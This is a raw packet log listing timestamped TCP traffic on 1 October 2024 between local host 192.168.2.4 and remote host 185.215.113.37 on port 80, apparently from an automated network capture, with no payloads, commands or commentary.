Oct 1, 2024 06:03:13.365926981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.365935087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.365978003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.365984917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.366019011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.366039038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.366050005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.366059065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.366101027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.366103888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.366147995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.366153955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.366218090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.366220951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.366266966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.366271019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.366305113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.366312027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.366337061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.366347075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.366372108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.366380930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.366415977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.366424084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.366473913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.366475105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.366523981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.366524935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.366574049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.366579056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.366619110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.366626024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.366657972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.366664886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.366691113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.366699934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.366736889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.366739988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.366772890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.366785049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.366806030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.366816998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.366838932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.366847992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.366873026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.366882086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.366913080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.366926908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.366946936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.366956949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.366980076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.366988897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.367012024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.367021084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.367044926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.367054939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.367079020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.367088079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.367110968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.367126942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.367145061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.367153883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.367178917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.367188931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.367213964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.367218018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.367250919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.367252111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.367285013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.367291927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.367319107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.367330074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.367352009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.367371082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.367398024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.367408991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.367441893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.367450953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.367475033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.367486954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.367506027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.367508888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.367542028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.367552042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.367575884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.367585897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.367609978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.367620945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.367656946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.367660046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.367691994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.367705107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.367724895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.367733955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.367759943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.367769957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.367793083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.367799997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.367825985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.367839098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.367861986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.367872000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.367894888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.367909908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.367930889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.367939949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.367964983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.367975950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.367999077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.368005991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.368032932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.368062019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.368065119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.368072033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.368098021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.368108034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.368132114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.368141890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.368165970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.368174076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.368199110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.368206024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.368231058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.368241072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.368284941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.368338108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.368383884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.368496895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.368529081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.368544102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.368568897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.368837118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.368868113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.368881941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.368911028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.368963003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.369009018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.369153976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.369187117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.369196892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.369231939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.369326115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.369373083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.369920015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.369976044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.370112896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.370145082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.370167971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.370177984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.370191097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.370214939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.370266914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.370299101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.370321989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.370331049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.370349884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.370363951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.370381117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.370398998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.370414019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.370445967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.370449066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.370481968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.370496988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.370513916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.370528936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.370547056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.370567083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.370579004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.370592117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.370614052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.370626926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.370662928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.444001913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.444058895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.444108009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.444140911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.444173098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.444188118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.444205999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.444233894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.444241047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.444247961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.444272995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.444283009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.444305897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.444317102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.444339037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.444371939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.444374084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.444391966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.444406033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.444433928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.444437981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.444454908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.444470882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.444482088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.444519043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.444520950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.444550991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.444570065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.444583893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.444595098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.444616079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.444636106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.444652081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.444660902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.444683075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.444703102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.444716930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.444724083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.444766998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.452586889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.452637911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.452642918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.452672005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.452683926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.452703953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.452718019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.452738047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.452754974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.452789068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.452790022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.452821016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.452836990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.452867985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.452874899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.452918053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.452941895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.452974081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.452991009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.453006983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.453022003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.453039885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.453056097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.453088999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.453089952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.453124046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.453140974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.453171015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.453175068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.453206062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.453224897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.453238964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.453257084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.453272104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.453285933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.453305006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.453318119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.453337908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.453352928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.453371048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.453387022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.453404903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.453413963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.453438044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.453452110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.453470945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.453490019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.453502893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.453520060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.453536034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.453551054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.453568935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.453583956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.453603029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.453619003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.453635931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.453650951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.453669071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.453685999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.453701019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.453716040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.453732967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.453747034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.453767061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.453780890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.453799009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.453814983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.453833103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.453846931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.453867912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.453880072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.453902006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.453915119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.453933954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.453949928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.453968048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.453986883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.453999043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.454011917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.454032898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.454049110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.454077959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.541892052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.546744108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.758989096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.759027004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.759052992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.759061098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.759076118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.759119034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.759121895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.759162903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.759175062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.759207964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.759210110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.759241104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.759251118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.759278059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.759299040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.759346962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.759347916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.759381056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.759403944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.759428978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.759434938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.759468079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.759480000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.759500980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.759515047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.759533882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.759547949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.759567022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.759577036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.759608030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.759615898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.759649038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.759659052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.759685993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.759697914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.759730101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.759738922 CEST	49730	80	192.168.2.4	185.215.113.37
